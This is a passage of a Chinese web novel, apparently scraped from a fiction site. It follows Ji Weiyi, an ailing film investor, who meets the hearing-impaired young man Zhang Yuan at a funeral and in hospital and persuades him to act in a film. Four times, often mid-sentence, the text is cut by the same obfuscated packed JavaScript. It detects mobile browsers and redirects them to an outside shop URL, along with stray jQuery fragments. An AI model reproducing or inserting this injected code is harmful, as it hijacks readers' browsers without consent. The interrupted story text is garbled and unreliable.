嘈杂人声干扰，他只隐约听见了一个“张”字。 只有对方说话时呼出的一点气流，像蛇信子舔了脸颊，凉飕飕地发痒。 他把蜷在羽绒服口袋里右手掏出来，脸上蹭了蹭。 忽然冷不丁被擒起手掌，拢住四指摊开掌心。 他吓了一跳，本能地要把手抽回来。 对方带茧的食指已经落在他掌心，描下一笔。 先是横，然后折下去，起笔重收笔轻，在他掌心的软肉上划出淡淡的白痕。 “张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740143|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他写完一字，抬头对着季苇一重复：“张。” 然后低下头去，又写第二个字。 长长的一竖划过掌心。 季苇一不由地跟着他收起手指的动作抬头，念出声来。 “张渊。” 尾音在舌尖滚过，上唇轻触下唇。 弓长张，深渊的渊。 青年有一对深渊般漆黑的眼睛。 这是个很适合他的名字。 季苇一冲他笑笑：“张渊，我记住了。” 离得这么近，他再次在心中感叹了一次这人确实长得很不错。 ——是那种放在娱乐圈标准下依旧能吹一吹脸的不错。 眼睛够亮、眉骨够挺、鼻梁够高，优秀的面部折叠度在昏黄火光的映照下，神情里自带自带几分忧伤。 传说中的大荧幕故事感脸。 盯着张渊的脸，季苇一开始走神。 刚刚他成心恶心冯成业是真，想给钱倒也不是假的。 冯帆与他的关系复杂程度其实远超旁人所知，真可谓剪不断理还乱，否则也不会多年不联系。 可人死万事皆空，爱恨情仇皆如逝水东流。 没见上最后一面，终归还是有点子欲养而亲不待的情结在，只是不想让冯成业这个败家子占了便宜。 而他对张渊虽然毫不了解，单凭他捞鱼给冯帆上供，多少也让季苇一萌生出几分自己人的亲切感。 十万块钱客观上而言不算是小数目，对他来说反倒是很偷懒的一种做法。 给钱打发人嘛，简单直接。 只是张渊拒绝地坚决，他也不好强求。 除了给钱，其实也不是没有别的办法。 只是那样就要让他动动脑子。 比如……怎么给张渊找份好一点的活儿干？ 不知道是不是被烟熏火燎弄得头昏脑胀，他思绪有一点飘，脑子里忽然出现某位知名文艺片导演在自己面前比比划划的样子。 “就是在草原上，咵——蹲下去。腿这里，嚯——鼓起来。然后看镜头，这样——助听器就甩下来，挂在脖子上……” 程秋这人天赋绝佳，不拍电影也满脑子分镜头，说起话来…… 有点抽象。 那天是碰巧见面随口一提，季苇一当时饿得心慌，注意力有些分散，懒得动脑子去想什么咵——嚯——这样——到底是哪样，只提了成本问题。 “你想要去找没经过系统表演训练的素人，艺术性上的追求我可以理解。但你应该知道，就算是电影学院里的年轻学生，没有实际经验的人拍起来戏来一般也要耗很多时间，更何况是有障人士。” 他已经忘了当时程秋怎么跟他解释，但反正并没有被轻易说服，只说如果能找到合适的人选，他再考虑要不要投资。 后来没过多久就接到了冯成业的电话，一团乱麻地开车上路，早把这事忘在脑后。 直到现在看着张渊，死去的记忆突然复活。 也不知道程秋有人选了没有…… 季苇一忽然有点好笑，在这个当口上，他竟还能走神去琢磨工作，冯帆在天有灵八成要后悔养过他几年。 当然，冯帆有很多理由后悔，相比起来，这还算是小事一件。 他叹了口气，回过神才发觉自己的手还被张渊紧紧攥着。 张渊盯着他的脸，皱着眉头若有所思：“你……” 季苇一手心见汗，有些尴尬地往回抽了一抽。 张渊松手，猛地把手贴在他的颈间。 冰冷让季苇一打了个哆嗦，一巴掌拍在他手背上。 打得很重，“啪”地脆响。 张渊并没有把手挪开：“很烫。” “你身上很烫。” 季苇一这才明白头晕是因为什么。 他在发烧。 5. 奔丧变陪床 冯帆灵前的那团火越烧越旺，就快要烧到季苇一身上。 天气依旧很冷，裸露在外的皮肤冻得发痛，但火盆燃烧的热度快要将体内的水分全部蒸干。 这种又冷又热的感觉隐约有些熟悉。 恍恍惚惚地，他觉得自己正窝在桦城村子里的土炕上。 那种土炕在过去几乎是熬过桦城漫长冬天的必备品，每家每户都有。 卧室炕头底下和厨房大锅的柴火膛通着，正好可以趁着生火做饭把炕温了。 缺点是灶膛里正烧着柴火的时候烫得简直躺不住，一旦熄了火，被窝又会在冬天的寒风里迅速冷却。 季苇一虽在桦城生活了五年，平时都是跟着冯帆生活在城里。 冯帆每年仅在过年期间会回老家，正好那时候季苇一也回家过年。 桦城的冬天太冷，即便是在城里，他父母也舍不得让他受冻，有时候还会他特意跑到南方去过冬。 只有十岁那年，季家因故全家要在国外过春节，却不敢带着他一起舟车劳顿坐十几个钟头的飞机。 他这才有机会跟着冯帆回老家，这辈子迄今为止有且仅有一次在桦城的农村过冬。 土炕虽然睡着体验感没有想象中那么美好，但村子对他来说非常新鲜。 院子里养了鸡，还有体型几乎跟他差不多的大鹅，叫他又怕又好奇。 其余的事，多年以来，他原本记不清了。 或许是时隔多年故地重游，昔日入梦。 季苇一恍惚觉得自己正趴在窗户上往外看。 窗外是大雪纷飞，白蒙蒙一片。 大年初九，农历年的公休假已经过去，村里越发冷落。 除夕守岁受了凉，他咳嗽一周多未愈，不被允许出门走动，天天裹着棉被缩在炕上。 灶膛里余火不熄，很暖和。 冯帆进来时头顶落了雪，黑黑白白好似头发斑驳。 ——梦里的那张脸面目模糊，但季苇一还记得他的表情很严肃。 对方垂着头看他，身上带进来的寒意凝成水珠一滴一滴落在地上，很快地消失了。 冯帆问他：“想家了吗？” 其实父母约定来接他的日子就在三天之后，一连几天关在家里，村里吸引他的东西太多，季苇一还没玩够。 他犹豫着没答话的功夫，冯帆却叫他换了衣服，把他用被裹着抱在怀里出了门。 铺天盖地的风雪呛进季苇一的口鼻，他咳嗽起来，肺里撕裂一样的痛。 冯帆抱着他，置若罔闻，冲进风雪里。 屋里待得发闷，可刚出门他就想冷得回去了，挣扎着从被子里伸出手来。 冯帆腾出一只手来，捉住他的手往被子包里塞。 季苇一哑着嗓子喊声“冯叔”，对方低头看着他，脚步不停。 可是有什么温热的东西落在他脸上，在零下十几度的天气里迅速冷却，冻得他脸颊生疼。 他们这是要去哪儿？ 迷迷糊糊地，季苇一似乎就要想起那个答案。 一晃眼，握着他手的人忽然又变成了张渊。 用指甲剪得很秃的手指往他手心里写字，一笔一画，渊字拖着长长的尾巴。 他的掌心痒起来。 季苇一睁开眼睛，在剧烈的咳嗽里被人托着脑袋靠坐起来。 隔着体位变动带来的眩晕和呕意，他意识到两件事。 肺里痛是真的，张渊握他的手……也是真的。 他把自己的手从张渊手中抽出来，猛然掩着嘴干呕了两声。 张渊起先茫然地看着他，愣了几秒钟才把一个套着塑料袋的痰盂递到季苇一眼前。 “不用……”季苇一摆摆手，确认胃里是空的，刚才的呕意大概只是药水刺激或者咳嗽带来的喉头反射。 高烧让人眼睛发涩，季苇一闭目靠回去，下意识地摸着手背上刚刚被张渊按住的地方。 止血棉花和医用胶带熟悉的手感顺着指尖传来，他意识到张渊方才是在帮他按压撤掉点滴后的针眼处。 “谢谢。”疑惑和意识一并渐渐清晰：“我怎么——” “水。”张渊几乎跟他同时开口道。 他差不多习惯了，张渊说话就是这样言简意赅。 虽然语调生涩，用词简单，但逢要说什么，就说得很笃定。 至于剩下的要是再搞不定，就通通交给肢体语言。 喉咙的确干涩，嘴里也泛苦。季苇一再度道谢，接过张渊递过来的纸杯灌了一口。 可能因为渴了太久，温热的白水也像是有点甜。 他偷偷在嘴里砸么了一下，开始感谢张渊刚刚恰如其时的打断了他。 想起来了，是他自己说要来的。 昨夜，他的精神气只勉强撑到代驾来，坐上车之后，没有五分钟就迷糊过去了。 最后残存的意识是张渊在旁边拍他，手掌贴在他过热的颈侧试温度，冰凉凉的。 不知道是烧得还是大脑缺糖跟不上趟，他确实有点神志不清了。 一面贪恋张渊身上那点凉意，按住他的手敷在自己脖子上。一面含含糊糊地使唤张渊：“没事，去急诊看看就好了。” 这个话术通常是他拿来打发家里人的，因为心脏上的毛病，他有什么小毛病都显得格外严重，家里人又总是过分担心。 于是觉得与其坐在家里担心，不如去医院看病。 虽然有一半时候也都只是嘴上说说，背地里并不会真去看病。 不想说得顺嘴，在张渊面前递出来了。 人生地不熟，真把人折腾得来陪床，倒叫他过意不去。 想想也是心大，一个完全不认识的代驾，一个刚认识不到一天的张渊。 他现在还能没缺钱包不少腰子的躺在留观室打针真是全靠社会主义治安好。 ——全靠张渊人品过硬。 他对他似乎有种莫名的信任，或许是因为冯帆，或许是因为那两条鱼。 或许没有理由，人和人的缘分是一种气场。 气场对了，一靠近就会明白。 他觉得自己和张渊大概有缘。 命中注定他要把他带上大荧幕的那种知遇之缘。 好久不捧人，一旦动心起念，忽然觉得有点燃。 季苇一没空深思这种燃到底是不是莫非因为感冒发烧心动过速，刚放下杯子就问张渊。 “耽误你上班了？” 他嗓子烧哑了，张渊第一刻没有面向他的脸，还以为季苇一是在问自己的病情：“医生说，”他点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740144|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季苇一的喉咙：“发炎。”又点点已经被撤空的吊瓶架子：“头孢。” 竟然是细菌感染，季苇一也有点意外，他还以为是冻的。 却也没再多关心什么，干脆掏出手机打字：耽误你上班了？ 张渊摇头：“请假。”顿了一下又补一句：“给冯叔。” 结果遇上他，奔丧变陪床。 季苇一继续在手机上打：做什么工作？ “修车。”张渊看似不怎么好亲近，实在有问必答，倒让季苇一越看越看出几分乖巧来。 正要再问下去，对方一愣，忽然摆摆手：“不要你的钱。” 竟还惦记着这事儿，季苇一略显惊讶。 又觉得这半大的孩子，不知道对十万块钱究竟有没有概念，回绝得倒是直截了当。 他含笑点点头：“不要，那就不给。” 终于图穷匕现绕到他的正题上来：“喜欢看文艺片吗？” 说完又后悔，什么毛病就拽词儿，徒增语言理解难度。 张渊果然没听懂，生涩地重复了一遍：“文艺片？” “电影，就是电影。”季苇一忙回归到直白简答的道路上来：“爱看电影吗？” 张渊摇头：“听不清。” 他五岁耳朵就出了问题，但一直以来都跟着健听人上普通学校，有一搭没一搭的跟着。 大概是因为听力不好而变得少与人交际，又因为没什么朋友而变得更加沉默。 看电影这种事，既缺少同龄玩伴，他自己也没什么理由和契机走进电影院。 从小到大倒也看过几次电影，无一不是学校集中组织的。 几百上千号学生一起坐在大阶梯教室里，扩音效果不够专业，座位也远，他即便目不转睛地盯着字幕看，也往往根本分不清到底是谁在说话。 自然更没有享受的心情，只有一面努力追着画面，一面思索结束后的观后感该怎么编。 张渊当然没讲这些细节，说完那三个字便又回归沉默。 季苇一也跟着沉默。 他意识到自己说错了话，下意识地没有去考虑张渊的障碍。 这个世界上有很多他习以为常的事情，稍加留意就会发觉并不是为张渊这样的人准备的。 从小到大，当他的同学在操场上自由奔跑，而他却经常为爬楼梯感到困扰的时候，季苇一也很多次有过这样的体验。 因此格外为自己的忽视感到愧疚。 他在手机上打了字，举起屏幕递到张渊面前，又一字一句慢慢念了一遍：“对不起。” 张渊略有些茫然地看了他一眼，季苇一正要再说点什么，举在手中的电话响了。 “小舟，你在哪儿？”季津的声音冲出来。 “在……”季苇一愣了愣：“桦城。” “我知道，桦城哪里？我人已经到了，你不告诉我我就开你手机定位。” 季苇一心里咯噔一下，感觉自己像是逃学被抓了现行的学生，犹豫再三，还是得面对班主任。 “在——”他开口，忽然才想起自己居然也没有问这到底是哪里，瞪一眼旁边乳白色的不透明隔帘，听着隔壁地咳嗽声眨了眨眼睛。 “在留观室，”他无辜地看向张渊：“我们在哪家医院来着？” 6. 你先别走 非要熬夜开车自驾跑到桦城来严重程度50%。 不注意保暖不好好吃饭把自己折腾进医院严重程度100%。 进了医院甚至都不知道自己在哪个医院，一看就是病迷糊了让人给塞进来的严重程度爆表。 季苇一躺在病床上，边琢磨这次这事儿到底有多大，边和看起来快气炸了的季津大眼瞪小眼。 “细菌感染，细菌。”他点点自己手上的止血胶布：“刚打完头孢，这东西有潜伏期呢，我记得走之前办公室里有人打喷嚏来着。” 意思是可能是还在家的时候就已经被感染了，不是他路上作的。 季津翻着他的病历单子不说话，他盯着对方一脑门子汗也觉得过意不去：“你怎么来的？” “坐高铁。”季津说：“使用当代最便利但是你偏偏不肯使用的交通工具。” “也不是不肯——” 他话音未落，季津撂下手里两张纸：“好，你说的，明天跟我坐高铁回去。” “那车——” “我带了司机，车会有人帮你开回去。” “好。” 或许是没想到季苇一这么轻易就答应了，季津反倒疑惑：“开够了？” 季苇一盯着天花板：“开够了。” 他神色恹恹，季津犹豫半晌还是开口：“你说这么远的路。你好好的有车不坐，非要自己开车来。折腾这一趟……” 他还是没好意思把剩下的话说出口，季苇一却自己补了，从鼻腔里哼出一声笑来：“是啊，折腾一趟，只赶上烧纸了。” 他说罢，偏过头去。 烧还没退，白色纱帘略显粗糙的纹理在眼前摇动、扭曲，拉伸成抽象的集合图形，忽然觉得像什么人的眼睛。 季津说得对，这种距离的长途跋涉，便利而快捷的公共交通远比自驾更合适。 如果从接电话的那一刻立刻买高铁飞机票，他八成还赶得及见上冯帆最后一面。 而且是窝在头等舱商务座里，有食物和热水，放平身体裹上毯子，睡一觉的功夫就到了。 绝不会把自己弄得这么狼狈。 离开冯帆灵前，他终于敢承认这一趟所有的苦都是他自找的。 为的是自欺欺人的扮演一位匆匆赶来的孝子，从而掩饰他并不想见到活着的冯帆的事实。 或者说是不敢。 发觉这一点让他心里空落落地发搅，季苇一下意识地摸了摸指尖，确定没有夹着心电监测。 否则又要给季津捉现行。 幸好有张渊，他越发想给张渊一点帮助。 张渊是一款恰到好处的歉意代餐，用来冲淡他对冯帆的愧疚。 虽然这么说听上去有一点对不起他，但从事实上来看，季苇一确信自己不会让张渊吃亏。 想到这里他才觉出哪里不对，支起身子四下看，掀开帘子找人。 “干什么？”季津试图把人按回去：“烧着呢，要上厕所还是要喝水？” “送我来的人，挺年轻，说去洗手间，半天还没回来。” 季津问：“十八九岁模样？男的，穿得挺少，耳朵上挂了个东西” “是，你来的时候看见了？” “就站在门口，我还以为是里面谁的家属。” 季苇一下床，天旋地转踩住拖鞋。季津要来扶他，他摆摆手：“马上回来。” 他病中有时任性，家里人也可怜他多年来安生的时候少，习惯了在不出格的时候纵着他的脾气。 于是季苇一就这么摇摇晃晃趿拉着拖鞋出了门。 果然就看见张渊杵在门口，侧倚着墙，拿眼睛往门里面瞟。 迎面差点和他撞上。 季苇一笑：“去洗手间回来了？” 张渊眨眨眼，不说话。 季苇一又问：“怎么在门口？” 张渊指了指门内：“来人了。” 季苇一说：“我哥。” 这话他刚刚其实已经解释过一次，张渊听说有人要来只是点了点头，过一会儿说自己要去洗手间。 太自然，以至于他都没发现对方原来是故意在回避。 怕见生人？季苇一纳闷，看着倒不像怕生的。 反正在他面前是不怕生的。 不等他开口，张渊问：“要我回去吗？” “不，你先别走——” 季苇一忽然顿住。 之前张渊在这里守着他是因为他“孤苦无依”，现在家人来了，再叫张渊耗在旁边就没有道理。 他之前一直没直接问张渊想不想拍电影的事，是觉得他俩中间虽然隔着个冯帆，到底萍水相逢。 上来就说什么要带人进娱乐圈，简直像日本街头拉人去拍小电影的星探一样可疑。 直到张渊突然说要走，季苇一才想起到目前为止还连联系方式都没有留，这一别简直汇入茫茫人海。 碍着轻微的沟通障碍，他一面急忙在脑子里搜罗词句，一面从口袋里迅速翻出手机来。 结果抬头太猛，耳朵里嗡一声锐响，眼前顿时花了。 他确定自己仍然好端端地站着，并没有栽倒下去。 但是有人伸手扶住他。 一个声音低低地在季苇一耳边响起来：“不走。” 闪动的白光渐渐凝成实体，他看到张渊的脸近在咫尺。 对方起初面对面扶着他，然后慢慢转身，把一条胳膊穿过他的腋下，从背后将他撑起来。 青年的肩很瘦，硌得他咯吱窝生疼，然而意外的宽阔坚实，让季苇一生出一种对方马上要把他扛起来的错觉。 他身上发烧，然而怕冷。温热的体温源源不断地烫过来，张渊偏头，剪得很短的头发在季苇一脸颊上蹭一下，硬得像胡茬。 “你需要，就不走。” 轻易大功告成把人留住的季苇一下意识地“嗯”了一声。 一边随着对方的动作迈开步子，一边在心里稍微的迟疑。 怎么好像，不是这个意思的不让他走…… * 看见季苇一走着出去被扶着回来，最激动地还是季津。 “小舟，你——” 季苇一往床上一坐，主打一个装聋作哑读不懂空气。 撇开季津，直接问张渊：“我是拍电影的，你想跟我去拍电影吗？” 张渊本在整理自己衣服上压出的褶皱：“我？” “你。” “为什么？” “你帅，你合适。” 张渊摇摇头：“我不会。” “就是要找不会的。”季苇一道，他点点自己的耳朵：“你特别合适。” 张渊还是摇头。 季苇一翻出手机来：“你搜搜我，能搜到，我不是骗子。” 张渊没去接：“不是，我欠钱了。” 季苇一想起冯成业的话，想起来还有这茬。 摊上个撂下一屁股债的爹，还真是格外惹人怜爱。 “没事，你拍电影赚钱，正好拿去还了。我先借你也行，借你，你有钱了再还给我。” 张渊怔了怔，还是摇头。但好像一时间找不到理由来拒绝他，忽然转身离开。 季苇一本要喊他，屁股没离开床又觉得腿软，看向季津：“你帮我劝劝呗。” 季津瞪他一眼：“人不乐意算了，哪有一见面儿追着要人转行的，再说你那活儿哪儿那么好干。” 眼看张渊真要走，季苇一脑子里忽然闪过一个念头：“他属牛的。” “啊？”季津发懵。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740145|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你忘了，说是什么天乙贵人，应该属牛，三十二岁遇见。”季苇一摆摆手：“我记得不清楚，是这么回事吧？” 这话是当年那位叫他爸妈把他送来桦城的人说的，说他三十二岁那年命里必有一劫，要想逢凶化吉得找到命中注定的天乙贵人。总共给了两个关键信息，男的，属牛。 季苇一多年来在心底对这一系列说法相当不屑，大呼封建迷信要不得。 但是架不住有人信。 季津一愣，眨眨眼睛：“你确定？” 季苇一说：“今天十八，正好，你去问问？” 季津追出去：“帅哥，帅哥，你等会儿，我是他哥，我就问问你，你属什么的？” 他京城生京城长，地地道道京片子，一张嘴能转二十个褶，比狗不理包子还多俩。 张渊又背对着他，根本听不懂，回过头来茫然地瞪着季津。 季津语塞，觉得在外头留学的时候都没这么费劲过。 缓口气，先问：“你今年18？” 张渊点头，仍是一脸莫名其妙。 季津见状，更不知道该怎么费口舌跟他解释什么天乙贵人什么逢凶化吉。 况且，虽然众所周知季家小儿子身体不太好，他们其实向来托词什么贫血体虚一类，很少对外讲季苇一有先心病。 迅速地编了个简单的借口：“他，拍电影。你，生日好。大师说了，能火。就要你这个生日。” 顿一顿又补上一句：“这行儿可迷信，他反正要找素人，你长得帅，就看中你了，帮帮忙呗？” 张渊低头沉默。 前一句他听懂了，后一句他听得迷迷糊糊。 总之意思是那个意思，像是认定了他似的。 不免犹豫。 季苇一是刚刚认识他，但他从第一次见面就认出了季苇一。 送鱼的时候只是觉得眼熟，但在冯帆灵前就确定是他。 在两年多以前，他就曾经在冯帆家里见过季苇一的照片。 那会儿他终于才彻底和冯帆混熟，开始在他家里放松下来肆意走动。 冯帆叫他帮忙从床头柜里找东西时，他第一次翻出季苇一的照片。 照片很糊，不像是直接拍的，像是从什么网站下载了又打印出来。 模模糊糊看到盛大的红毯晚会，照片上的年轻人穿一身领口带了中式设计的改良西装，头发梳得讲究。随着他微微垂眸的动作，两缕发丝垂在额前。 因为像素不高，眉眼格外像是浓墨重彩的一笔，在灯下闪闪发光。 他拿着那照片，忍不住多看两眼，冯帆在他身后进来，劈手夺过去。 张渊记得，对方下意识地反应是要将那照片藏起来。 可是犹豫片刻，又拉着他过来一起看。 “季苇一，帅吧。” 他点头，只当是哪个没听说过的明星，略微惊讶冯帆一把年纪还追星。 就听到冯帆说：“这是我的孩子。” 他惊讶，朝那照片多看几眼。 冯帆又说：“跟你一样，你也是我的孩子。” 张渊不记得之后自己还说了什么，也很可能什么都没说。 只记得他当时一边为冯帆那句话而感动，又在奇怪既然特意留了照片，为什么不干脆摆出来，而要藏在柜子里。 至于对季苇一，相片里的那个耀眼的世界离他太过遥远，他只是看一眼，并不觉得会有什么交集。 就连记住他的脸，似乎也只是无意中的行为。 哪怕对方真的出现在他面前，邀请自己走进他的世界。 他下意识地想要走开，觉得那光芒不必分出几分余辉照进角落处的阴影里。 但是如果，很意外的，季苇一需要他？ 7. 聊我也行 季苇一窝在高铁商务座里，腰下垫着枕头，身上裹着毯子，虽然戴着口罩稍微有一点呼吸不畅，还是感叹果然自驾是自讨苦吃。 他越过并排座椅之间的隔断往旁边看，张渊在一旁坐得笔直。 座位可以放平，但他动都没动，季苇一甚至怀疑他连腰都没靠实。 绷紧的一张弓。 跟第一次见他的时候很像。 “还有好几个钟头呢，这么坐着累。”高铁上噪音大，他又戴了口罩，直接在手机上打字，递到张渊面前。 “不累。”张渊仍笔直坐着，光坐着。 两天下来，季苇一已经发觉他有一点和当代大多数年轻人不太一样，几乎不怎么玩手机。 甚至让他一开始都怀疑张渊用的是不能联网的老人机。 当然后来发现对方也没有那么原始。 单纯是不爱看。 旅途不算很短，张渊不觉得腰酸，季苇一还觉得放着好椅子不靠对不起那票钱。 想让他放松点，就有一搭没一搭的闲聊，在微信上打字：“聊两句。” 张渊感觉到震动才掏出手机，看了他一眼，也从微信上回复他：“说什么？” 季苇一起先以为他玩不溜手机，意外地发现他打字飞快，两手拇指敲屏幕能看出残影。 “什么都行，聊聊你，聊我也行。你就没什么要问的吗？” 他是真好奇，那天在医院，张渊消失了一会儿又突然出现，只撂下一句：“跟你去。” 从此说要买票就给了身份证号，说要出发就在帮工的修车铺子请了长假，剩下的事情一句都没多问。 就算是真挖去拍小电影也得签合同呢，张渊居然就这么跟着他俩上了高铁。 也不怕被卖到缅北被迫参与电信诈骗。 不知道是他傻孩子心大，还是自己长得确实像好人。 打字很快的张渊半天没回复，季苇一心道他平日里是不是就不怎么跟人说话，刚开始搜肠刮肚说点什么把茬儿接过去。 张渊忽然开口了：“你身体不好？” 从道理上讲，这该是个问句。但张渊讲话语调有些生硬，常常令人难以辨别语气。 这话听上去，就仿佛是在陈述一个事实。 季苇一呼吸一窒，口罩底下的半张脸表情微微凝固。 嚯，不爱说话，一开口就挺会找话题。 踩中他为数不多不想说实话的地方。 季苇一那天起初病得迷糊没想起来，季津一回来就问：“你没跟他说我有病吧？” “什么有病有病的，”季津瞪他，“我告诉他你拍电影就缺个他这样的。” “那就行，你别告诉他，以后也别说。” 他嘱咐完，又觉得有点莫名其妙。 明知道家里人人对他心脏病这事讳莫如深，只有他是最不在乎的。 却不知道为什么，偏偏不想让张渊知道。 大概是因为到哪儿都让人护着，三十几岁还经常被当小孩养，唯独在张渊面前体验到了一把当长辈的乐趣。 所以格外不想给自己安个柔弱人设。 都是管冯帆叫“叔”的，他自认是张渊大哥也不为过。 差着14岁呢，叫哥都是便宜他了。 “细菌感染呀，”季苇一也拉下口罩让张渊看清楚他的口型：“冯叔去世，心情不好。” 心情不好，抵抗力就差，抵抗力差就容易感冒。 无懈可击地解释。 除了坐在他斜前方的季津侧过头来瞥了他一眼。 张渊看着他口罩底下泛着点青色的嘴唇和苍白的脸静默不语。 人在病中气色当然不会太好，但季苇一总让人感觉不仅仅是感冒发烧时的那种狼狈。 而是气血不足造成的惨淡，淡得就好像这个人可能会在太阳底下蒸发掉。 浅蓝色的医用口罩遮挡住憔悴，季苇一把口罩又朝上拉一拉，只当张渊接受了自己的解释。 刚要聊聊就把天聊死，他一时也想不到还能说点什么。 张渊仍笔直地坐着，倒是季津总不放心他，三番五次转头过来看。 看得季苇一有点毛了，刚想说你歇一会儿吧我还能跳车跑了不成，就听见张渊道：“换换？” 跟季津说的。 小伙子很有眼力见。 季津巴不得近距离盯着季苇一，立刻就应下。 季苇一本来硬要张渊坐在自己身边就是怕季津念叨他，看一眼身边的张渊，还是没有提出什么异议。 看起来坐他旁边怪不自在的，不如放他自己一个人放松一点。 季津对张渊的眼力见十分受用，也嘱咐他两句可以把座椅放平。 见人不动，干脆按调节钮给他把靠背多少放下来一点。 坐到季苇一身边，仗着张渊耳朵不好听不见，正大光光明地议论他：“幸亏失信人子女不限制出行，要不然他都买不了这里的票。” 又说：“摊上这种爹真是倒了八辈子霉。” 提起这茬季苇一就头大：“回去好好帮他查一查吧。” 在顺利地诱拐到张渊之后，他和季津仅在桦城多停留了两天，就在医院挂水之余完成了和程秋说定试戏事宜，确认张渊在桦城的各种社会关系等一系列准备。 顺便帮张渊查了查征信，如冯成业所说，他有个欠钱跑路的爹。 房子抵了银行，剩下各种网贷乱七八糟，光明面儿上能查到的就有不少。打听到张渊还曾经遭遇暴力讨债，猜测他爸在当地还借过高利贷。 总之一团乱账，万幸张渊当时还未成年，账也不能直接算在他头上。 暂且把事情吩咐给别人去查，在张渊面前并不多问。 季津皱着眉头：“失信也罢了，这几年不知道跑到哪里去了，可别在外地背了案底。” 那才真是埋了大雷。 季苇一冷哼一声：“万一电影真火了，八成又要回来认儿子帮他还债。” 季津“啧”了一下，偏头看季苇一：“真惦记着火啊，我当你是为了冯叔。” 那天在医院，他倒也不是真的相信季苇一是在找贵人。只是明知道那话是打发他的，他还是吃这套。 季苇一双手叠在身前，他们出发的早，这会儿太阳升高，他感觉自己的体温好像也跟着上来了。身体沉沉地发懒，语气也跟着变得有些黏糊糊： “如果没有冯叔，不会认识他。但我是真的觉得他很合适。” 天时地利人和，合适到像是命中注定有那么个角色在那里等着和他相遇。 他说这话时，困劲儿有点上来，昏昏欲睡，没怎么过脑子，想到什么就说了。 旁边的季津却腾得一下坐直身体：“小舟，你不会还惦记着要当导演吧！” 他声音压得低，语气却很重，季苇一从瞌睡里惊醒过来，愣愣地看了他一眼。 尔后眯着眼睛轻笑：“当什么导演啊，太累，折寿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740146|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季津差点没从座位上跳起来：“呸呸呸呸，说什么呢！” 季苇一仍笑着，慢悠悠地应他：“是，我说错话了。” 一面慢慢地转过身去：“不当，正好看见合适的人，别人的电影，我凑个热闹。” 他转向面对着窗户的一侧，火车轧过高架桥，远远地，能看到旋转餐厅的蓝色玻璃顶。 这片土地曾经有过光辉岁月，在他小的时候，冯帆带他去过一次那家旋转餐厅。 他从小不缺世面要见，到了那地方也觉得兴奋新奇，坐在窗边看风景，吃得什么全忘了。 后来也见证了此地的萧条，餐厅冷落，某天忽然不再转动。 很多东西一旦消散就迅速消散，包括这里曾经的热闹，包括季苇一二十岁时的疯狂岁月。 他以前比现在夸张地多，觉得这一生反正或许很短，能尽欢时当尽欢。 在大学里念导演系，留半长头发，曾经跟着剧组自驾跑到开一整天车都找不到一所医院的无人区拍摄。 然后年纪轻轻就有短片获奖，在级别不低的艺术影展上走红毯，真觉得自己是什么明日之星，有望施展一番拳脚。 穿着高定西装做了很精致的头发，打扮得比电影节上的小明星还讲究，对着余光里的镜头状似不经意地扬起下巴，脸上还带着几分年轻亚洲人特有的含蓄。 拍出来全是那种矜贵公子哥穿梭名利场，高岭之花上云端的照片。 他们学校网站上还转载过，他看着那照片一面觉得很装，一面心里又暗爽。 那会儿都没智能机，他把照片下载下来藏在电脑C盘里。 结果第二年就感觉到体力跟不上，逞强不肯放松，拖到心脏瓣膜脱垂累进ICU，差点真的一步登天了。 等恢复意识睁眼醒来，就看到父母兄长都瞪着红眼睛热泪潺潺，捧着他的手边哭边求他再别出去折腾。 他想说人活一辈子，能留下一瞬的辉煌就算不亏，可是最后动动嘴唇却只要水。 他的这个家庭，对外光鲜富贵，内里父母开明兄友弟恭，唯一的缺陷就是有个生来带病的小儿子。 这个家，他的家，只要他太太平平不出事，就能以一种完美家庭的方式运转下去。 季苇一实在觉得自己没道理破坏这一切。 看到家人的眼泪，就很难谈什么尽欢不尽欢。 况且现状也没什么不好——如果这种程度的生活还要说不满足，未免太没良心。 季苇一这样想着，迷迷糊糊快要睡过去。 列车员又来送午餐。 